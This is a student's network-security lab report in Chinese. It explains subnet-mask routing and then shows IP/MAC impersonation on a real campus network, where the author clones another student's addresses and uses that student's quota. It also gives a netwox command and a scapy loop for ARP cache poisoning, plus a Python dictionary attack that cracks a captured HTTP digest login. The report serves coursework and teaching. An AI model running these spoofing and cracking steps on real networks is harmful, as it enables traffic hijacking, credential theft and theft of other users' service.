网络安全工程与实践 实验1 IP 假冒攻击与 ARP 欺骗
🔓

网络安全工程与实践 实验1 IP 假冒攻击与 ARP 欺骗

时间
Nov 18, 2022 04:36 PM
Tags
notes
Brief Info

1.1 错误的掩码配置

实验效果:可以正常通信。
首先基于已有拓扑,通过 netplan 将 B 服务器的子网掩码进行修改。之后分别从 A ping B 和从 B ping A 。分别在对端使用 tcpdump 抓包如下:
notion image
notion image
当 A ping B 的时候, A 将 B 的 ip 地址与自己的子网掩码与操作之后认为 B 和自己属于同一网段,于是可以直接发包(先 ARP 获得 B 的 MAC 地址)。 B 在回复的时候将 A 的 ip 地址与自己的子网掩码与操作之后认为 A 和自己不属于同一网段,故将包发给默认网关(先 ARP 获得网关的 MAC 地址)。网关将包发给 A (先 ARP 获得 A 的 MAC 地址)。于是 A ping B 可以 ping 通。
当 B ping A 的时候, B 认为 A 和自己不属于同一网段,于是将包发给默认网关。网关将包发给了 A 。而 A 认为 B 和自己属于同一网段,于是直接将包回复给 B 。于是 B ping A 也可以 ping 通。
当不存在网关的时候,两边都无法 ping 通。
 

1.2 IP 假冒攻击

清华校园网环境下(仅以 Tsinghua-IPv4 为例),当 A 和 B 配置相同 IP 时,不能正常上网。网关会把 IP 对应到唯一的 MAC 地址,所以同一时刻只有一台设备可以正常上网。
若 B 想要获得 A 的 IP 和 MAC 地址,可以通过连接 WLAN 后抓 DHCP 包实现。如下图,在 DHCP 包中可以找到某位同学的 IP 和 MAC 地址。
notion image
 
之后通过修改注册表(通过设备管理器无法修改)的方式修改网卡的 MAC 地址。添加表项 NetworkAddress 之后禁用并启用 WLAN 连接即可。同时修改本机的 IP 地址、子网掩码和默认网关为对应的值。
 
notion image
notion image
notion image
 
最后访问 auth4.tsinghua.edu.cn 可以发现已经在使用对方的流量进行上网了。
 
notion image
 
所以如果 A 没有退出登录就离线了, B 是可以继续使用 A 的流量的。即使 A 在线的情况, B 也可以占用流量。在 Tsinghua-IPv4 网络中只能手动踢对方下线,而没有别的防范方式。 Tsinghua-Secure 解决了这个问题。
最后感谢 zhangg18 同学,占用了 ta 一分钟联网时间。实验中遇到了修改 MAC 地址失败的问题,检索后发现是 windows 自行修改 MAC 地址的时候需要满足第二位为 2 6 A E,表示单播且不是 IEEE 统一管理。
参考链接

1.3 ARP 欺骗

在受害者主机建立错误的 ARP 表项

首先查看受害者主机的 ARP 缓存
notion image
之后使用 netwox 进行 ARP 欺骗攻击
netwox 80 -e 02:8b:cd:14:10:9b -i 192.168.26.2 -E 02:ec:da:35:24:84 -I 192.168.26.3
在受害者主机 ping 192.168.1.80 之后,其 ARP 缓存就已经被污染了,如下图。
notion image
这是由于攻击者主机通过 netwox 不断发送伪造的 arp 包,通过 scapy 也可以完成相应操作,代码如下:
while True:
	sendp(Ether(src="02:8b:cd:14:10:9b", dst="02:ec:da:35:24:84")/ARP(psrc="192.168.26.2", pdst="192.168.26.3"))
	time.sleep(0.01)
notion image
发现受害者主机的 ARP 表已经被污染了。

对受害者进行流量劫持

之后在受害者主机上使用用户名 admin 加上密码 123456 进行登录到 WEB 服务器,并在攻击者主机上使用 wireshark 抓包,可以抓到对应登录的报文
notion image
username="admin"
realm="digest"
nonce="o4TED77qBQA=224904cf10f21e2e14c4904ae959dcb1504812f0"
uri="/"
algorithm="MD5"
response="24c1040e5268937c585f1363250a1ddd"
qop="auth"
nc="00000001"
cnonce="ca669a57ec08eb92"

理解摘要访问认证机制,并利用流量劫持获得的数据实现口令破解

import hashlib

username="admin"
realm="digest"
nonce="o4TED77qBQA=224904cf10f21e2e14c4904ae959dcb1504812f0"
uri="/"
algorithm="MD5"
response="24c1040e5268937c585f1363250a1ddd"
qop="auth"
nc="00000001"
cnonce="ca669a57ec08eb92"
requestMethod = "GET"

def MD5Collision(password, response):
    md5_1 = hashlib.md5("{}:{}:{}".format(username, realm, password).encode("utf-8")).hexdigest()
    md5_2 = hashlib.md5("{}:{}".format(requestMethod, uri).encode("utf-8")).hexdigest()
    testResponse = hashlib.md5("{}:{}:{}:{}:{}:{}".format(md5_1, nonce, nc, cnonce, qop, md5_2).encode("utf-8")).hexdigest()
    return True if testResponse == response else False
        

with open("./password.txt", "r") as f:
    data = f.read().splitlines()
    for i in data:
        if MD5Collision(i, response=response):
            print(i)
            break
	
notion image
可以看到碰撞出密码为123456

Loading Comments...